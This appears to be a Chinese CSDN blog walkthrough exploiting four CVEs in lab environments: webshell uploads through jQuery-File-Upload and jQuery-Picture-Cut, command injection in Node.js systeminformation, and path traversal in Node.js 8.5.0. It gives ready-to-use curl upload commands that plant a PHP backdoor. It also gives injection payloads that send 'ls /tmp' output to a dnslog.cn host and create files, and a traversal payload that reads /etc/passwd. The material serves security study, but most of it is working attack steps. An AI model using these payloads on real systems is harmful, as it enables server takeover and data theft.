基于JavaScript的框架漏洞

1、CVE-2018-9207(jquery框架)

1.1介绍

        这个漏洞产生主要是因为jQuery-File-Upload的.htaccess文件会限制文件的上传和文件的执行,但是Apache的2.3.9版本中,Apache默认不再支持.htaccess了,而且默认是没有被开启的,所以导致攻击者可以任意上传脚本文件并执行。如果使用了另一种web容器的话(比如Nginx),那么基于.htaccess文件的保护则完全无效。

1.2首先在本地准备好一个后门木马shell.php

 

3b45fb0ff86aa3b4ad6be638689c528d.png

1.3上传文件myfile=@文件地址

curl -F "myfile=@shell.php" "ip地址/jquery-upload-file/php/upload.php"

1.4.验证是否成功

0b2a4a0cf2ebd42aeca3c72f839275d0.png

1.5.这里可以使用哥斯拉等工具进行连接,这里不过多赘述。

2、CVE-2018-9208

2.1介绍

picture cut是一个jquery插件,以非常友好和简单的方式处理图像,具有基于bootstrap或jquery ui的漂亮界面,具有ajax上传,从资源管理器拖动图像,图像裁剪等强大的功能。jQuery-Picture-Cut/src/php/upload.php 中调用…/core/PictureCut.php 处理文件上传的代码不检查文件类型并允许用户选择文件位置路径。未经身份验证的用户并将可执行的 PHP 文件上传到服务器,从而允许执行代码。

2.2.准备一个一句话木马的文件

3b45fb0ff86aa3b4ad6be638689c528d.png

2.3.使用curl进行连接,观察是否上传成功。

curl -F "inputOfFile=file" -F "request=upload" -F "enableResize=0" -F "minimumWidthToResize=0" -F "minimumHeightToResize=0" -F "folderOnServer=/" -F "imageNameRandom=1" -F "maximumSize=10000" -F "enableMaximumSize=0" -F "file=@shell.php" http://123.58.224.8:18483/jquery-picture-cut/src/php/upload.php
- -F "inputOfFile=file":指定上传文件的参数名为"file"。
- -F "request=upload":指定请求类型为上传。
- -F "enableResize=0":禁用图片缩放功能。
- -F "minimumWidthToResize=0":设置图片最小宽度为0,即不限制宽度。
- -F "minimumHeightToResize=0":设置图片最小高度为0,即不限制高度。
- -F "folderOnServer=/":指定上传到服务器的目录为根目录。
- -F "imageNameRandom=1":设置上传后的文件名为随机生成的文件名。
- -F "maximumSize=10000":设置上传文件的最大大小为10000字节。
- -F "enableMaximumSize=0":禁用最大文件大小限制。
- -F "file=@shell.php":指定要上传的文件为当前目录下的"shell.php"文件。
- http://123.58.224.8:18483/jquery-picture-cut/src/php/upload.php:指定上传的目标URL。

6472794cd06f5badafc3121117885b4b.png

2.4.使用蚁剑一键连接,连接密码为mars。

1244a3a6945977fc8618c6b690c87ac8.png

3、CVE-2021-21315(Node.js自身漏洞)

3.1介绍:

Node.js-systeminformation是用于获取各种系统信息的Node.js模块,在存在命令注入漏洞的版本中,攻击者可以通过未过滤的参数中注入payload执行系统命令。攻击者可以通过在未经过滤的参数中注入Payload来执行系统命令,最终获取服务器最高权限。

修复:作为替代升级的一种变通方法,一定要检查或清理传递给si.inetLatency()、si.inetChecksite()、si.services()、si.processLoad()的服务参数。只允许字符串,拒绝任何数组。

3.2.开启一个dns.log网址,申请一个域名

 

2556a46cf49f2dfe28678f3cf90e19d0.png

3.3.输入以下payload:

http://118.193.36.37:57388/api/getServices?name[]=$(ping%20`ls%20/tmp`.qki7ut.dnslog.cn)

3.4.访问原来的dnslog网站,可以查看到falg

 

fce25ca1104b79f7c75f987fae722da1.png

3.5.也可以创建文件

http://192.168.32.161:8000/api/getServices?name[]=$(echo -e ‘NULL’ > 1.txt)
http://ip:8000/api/getServices?name[]=$(echo -e 'zeeker' > test.txt)

 

c1fa6f0dda3c46f15afb8bf396f3bd56.png

4、CVE-2017-14849(目录穿越)

4.1介绍

Node.js 8.5.0 对⽬录进⾏normalize操作时出现了逻辑错误,导致向上层跳跃的时候(如…/…/…/…/…/…/etc/passwd),在中间位置增加foo/…/(如…/…/…/foo/…/…/…/…/etc/passwd),即可使normalize返回/etc/passwd,但实际上正确结果应该是…/…/…/…/…/…/etc/passwd。express这类web框架,通常会提供了静态⽂件服务器的功能,这些功能依赖于 normalize函数。⽐如,express在判断path是否超出静态⽬录范围时,就⽤到了normalize函数,上述BUG导致normalize函数返回错误结果导致绕过了检查,造成任意⽂件读取漏洞。

4.2.打开网址

 

bef3df32bd9eff2a821c518377abb28e.png

4.3.输入以下payload,这里尝试直接使用hackerbar发包,发现发送的东西不可读。

原因:浏览器解析的时候,不能解析/../,于是请求的结果变成了static/a/etc/passwd,导致请求结果错误。

static/../../../a/../../../../etc/passwd

 

55e81d4e4dbbc1c964081e45e5bf41c8.png

4.4.所以还是得使用burpsuit进行构造,这里发现获取到了信息。

e49ca4d8bfafba9e33240126d3628d43.png

 

 

 

 

  • 50
    点赞
  • 35
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

B10SS0MS

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值